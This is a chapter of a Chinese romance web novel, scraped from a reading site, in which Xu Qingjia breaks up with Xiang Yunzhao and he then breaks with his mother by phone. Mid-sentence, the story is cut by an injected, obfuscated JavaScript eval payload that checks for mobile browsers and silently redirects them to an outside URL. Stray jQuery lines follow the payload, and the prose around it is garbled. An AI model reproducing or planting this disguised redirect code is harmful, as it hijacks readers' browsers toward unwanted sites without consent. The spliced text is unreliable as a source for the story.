默认冷灰
24号文字
方正启体

61. 置气

作者:锅包佑本书字数:K更新时间:
    项匀昭心里咯噔一下,动作有些慌乱地撕开怀里的张北。张嘴刚想解释什么,许清佳已经转身出了渠本良家院子,连一个眼神都懒得欠奉。


    “清佳!”他跌跌撞撞追出去,急切地喊她:“你别误会,不是你想的那样,张北她……”


    许清佳忽然转过头,眼神冷的让他感到陌生,“你去杭州了?”


    她目光落在刚刚被张北抱过的胸口位置,又缓缓移开。


    项匀昭说不出什么,只好缓缓点了下头。


    “什么时候去的?”她又问。


    “前几天……”他试图解释,“我是为了项目资金的事,苏媛家里有点门路,我只是去找她……”


    “所以,是真的。”许清佳声音平静的反常,让项匀昭心里没来由地发慌。


    他上前一步想拉着她的手,“清佳,你听我解释,我跟苏媛什么都没有,我只是……”


    “别碰我!”


    许清佳猛地后退一步,扯出一个比哭还难看的笑,项匀昭的心里跟着收紧了一分。


    “解释?项匀昭,你还有多少事需要跟我解释?”


    许清佳声音开始发颤,眼泪毫无征兆滚落下来,没有表情,却无端生出一种让人揪心的破碎感。


    “你妈妈来找我,字字句句说我配不上你,说我是你的拖累的时候,你在哪里?你在处理村部的事,那天我从咖啡馆出来想听听你的声音,你甚至还没说几句话就给我挂了!我像个傻子一样被她羞辱,还得笑着跟你说没事!”


    项匀昭身子猛地一颤,声音有些难以置信,“我妈找过你?什么时候的事?她……”


    这段时间忙着项目的事,他竟然从来不知道这件事,或者说,他对她太不上心了,以至于都没发现她的异常。


    看着许清佳不断滚落的眼泪,项匀昭心里剜着痛。


    “清佳,对不起,我……”


    他想抬手给她擦眼泪,怕她会反感又停在半空。


    许清佳像是没听他的道歉,自顾自地叙述,声音断断续续:“那天晚上……我们刚做完,我还光溜溜地躺在你床上,你接苏媛电话,把我晾在一边,耐心跟她说话的时候……你知道我什么感觉吗?”


    她声音自嘲:“我觉得我自己像个多余的!我他妈觉得自己就像个见不得光的小三!她才是那个能半夜跟你通话的正牌女友!”


    项匀昭整张脸连带着嘴唇都一起发白,他张了张嘴想说什么,喉咙却堵的厉害。


    原来这段时间,在他看不见的地方,她肚子咽下了这么多情绪,吞下这么多委屈。


    而这些,他全都不知道,甚至还像个傻逼一样去因为她联系陈叙言跟她吵架、冷战。


    换个角度想,他联系苏媛何尝不是对她的一种伤害呢?


    而且还是在……那种时候。


    在她最需要温存,最需要安抚的时候。


    他在她的床上,接了另一个女人的电话。


    “我……”他声音哑的厉害,“对不起,清佳,我真的不知道,我不知道我妈去找你,我那天晚上我脑子全是项目的事,我觉得自己走投无路烦得很,我没顾及你的感受。”


    “走投无路?”


    许清佳擦着眼泪冷笑:“所以你就去找她了?在你跟我冷战的期间,在你对我说出那么绝情的话之后,你转身就去找她了?项匀昭,你无缝衔接得可真快啊!”


    “我没有!”


    “我是想尽快解决问题,然后然后好好跟你谈,我没想到…”


    “没想到我会这么难过?没想到我会知道?”


    许清佳失望摇头,一步步往后退,“我今天来找你,本来是想跟你和好的。我想把所有的误会都说开,我想告诉你你妈找我的事,我想问问你,我们能不能别这样了…”


    说最后一句话时,她语气里的委屈快要溢出来,但又很快整理好情绪,吸了吸鼻子,泪水模糊了视线,却极力让自己的声音稳下来。


    “但现在我改主意了。”


    她抬头细细看他,看着这个让他爱过、痛过的男人,像是要记住他最后的样子,一字一句无情地砸进他心里。


    “项匀昭,我们分手吧。”


    “我成全你。”


    “以后,你走你的阳关道,我过我的独木桥。”


    项匀昭身形僵了一瞬,像是不敢相信般又问了她一遍:“你说什么?”


    “我说。”许清佳重复给他听:“我们分手吧?听懂了吗?要是没听懂我可以再说十遍、百遍、万遍,到你听懂为止。”


    项匀昭眼帘垂下来,双臂也脱力般荡在身侧。最终颤抖着双唇应了句“好”。


    许清佳点点头,转身走的决绝。


    项匀昭站在原地看着她与他渐行渐远,攥紧的拳头又松开。再攥紧再松开。


    半晌,项匀昭咬牙一拳砸在旁边的树上。


    一声闷响,树皮碎裂,几片枯黄的叶子簌簌落下。


    这一拳砸的极重,他手瞬间变得血肉模糊,关节处甚至看见了露出来的骨头。


    “表哥!”


    原本在一旁看戏的张北惊呼一声跑过来,“你的手,流血了。”


    “滚。”


    他像是感觉不到疼痛般吐出一个字。


    “哥,我……”


    “你不走,我走。你自己看着办。”


    这是最后通牒,张北知道他是认真的。


    她嘴唇翕动了几下,最终没敢再吭声。低下头,眼泪啪嗒啪嗒掉在地上,转身慢慢挪回屋里。


    项匀昭像是终于松了口气般,他拿出手机给张北订了回上海的票。紧随其后拨通了杨文瑛的电话。


    杨文瑛有些诧异:“匀昭?怎么这个时间打电话?有什么事吗?”


    省去所有寒暄,项匀昭开门见山:“我的事,以后不用你们管。”


    电话那头静了一瞬,似乎是没反应过来他什么意思,“匀昭,你这话什么意思?你又闹什么脾气?”


    “我爸不是说,以后不会给我一分钱吗?”


    项匀昭打断她,嘴角没什么温度地扬起:“无所谓。话我放在这儿:以后,我项匀昭,不会再管你们要一分钱。同样——”


    “你们也别再来插手我的任何事。包括我这个人,包括我在哪儿,做什么,和谁在一起。”


    杨文瑛默了片刻,随即扬声:“项匀昭!你知道你在跟谁说话吗?我是你妈!你为了那个许清佳,为了那个破村子,你要跟家里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253040|192675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    决裂是不是?!”


    “随您怎么想。”项匀昭丝毫没理会她失控的情绪,“以后我是死是活,是好是孬,都跟你们没关系了。你和我爸要还有能力就再生一个,别指望我会扛起厂子了。”


    趁杨文瑛还没回应他就挂了电话,不然他妈一定会说他大逆不道。


    手上的口子已经有部分结痂,有几个大的伤口依旧在流血。


    风卷起地上的落叶,打着旋儿掠过他身边。


    秋天,真的深了。


    许清佳基本上是一路哭着回家的。


    她跌跌撞撞进门,正在院子里塞辣椒的沈知仪眉头即刻皱起来,忙问:“怎么了,谁欺负你了?”


    昨天晚上好容易开导她状态好了不少,怎么今天反而哭着回来了?


    许清佳侧过脸,尽量不让沈知仪看见自己的囧态,可颤抖的声音瞒不住,“我没事,我先回房间了。”


    还不等沈知仪再说些什么她已经快步上了楼,正在主卧的许怀舟循声出来看了眼许清佳紧闭的房门,听着里头压抑的哭声脸色顷刻间沉了下来。


    他上楼来到许清佳房门前,沈知仪也跟在他身后,声音放的很缓:“丫头,怎么了?跟爸说说。”


    回答他的是一阵断断续续的抽泣声。


    院子的铁门“咯吱”一声被推开,许翊坤放假了,拎着个行李箱哼着小曲进来了。


    “爸!妈,我放假了。”


    和陈可分手后他消沉了一阵,但总归是年轻,这会儿他早就恢复了原来的活力。


    看见爸妈都忧心忡忡站在许清佳房门口他觉出点不对劲。


    “爸,妈,怎么了?”许翊坤放下行李箱,“我姐呢?”


    沈知仪叹了口气,摇摇头。


    许翊坤眉头即刻拧起来,他几步走到许清佳房间门口,耳朵紧贴在房门上,里头隐隐约约的哭声让他的心揪起来。


    “姐!”他用力拍门,“许清佳!你怎么了?谁欺负你了?开门!”


    屋里头的许清佳此刻哪能听得进去什么,她只把自己蒙在被子里,哭的浑身发抖。


    许翊坤一下子就明白了怎么回事。


    项目的事不足以让她难过,那就只剩下项匀昭。联想到上次他回来时许清佳烦躁地换台,也不跟她说话,一切都清晰起来。


    他火气“蹭”地窜上来,冲着门吼一声:“是不是项匀昭?”


    里面的哭声似乎静了一瞬。


    许翊坤更加确定了,他转身赤红着眼往外走,许怀舟察觉到不妙,伸手想拦:“翊坤!你干什么去!”


    然而十八岁在气头上的小伙子年轻气盛,一个侧身就避开了父亲的手,拉开门一阵风似的冲了出去。


    “快、快跟上去。”沈知仪这时也意识到不妙,让丈夫跟上他。


    许怀舟点点头,跟着他出了院门。


    可许翊坤跑得太快,身影很快消失在村道拐角。


    他一路跑着来到渠本良家门口,一口多余的气儿都没喘,院子里,项匀昭正站在水井边冲洗手上已经干涸的血迹,张北手里拎着行李箱正站在堂屋门口怯生生看他,他正准备待会儿开车送她去机场。


    看见许翊坤满脸怒气过来,项匀昭怔了怔。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)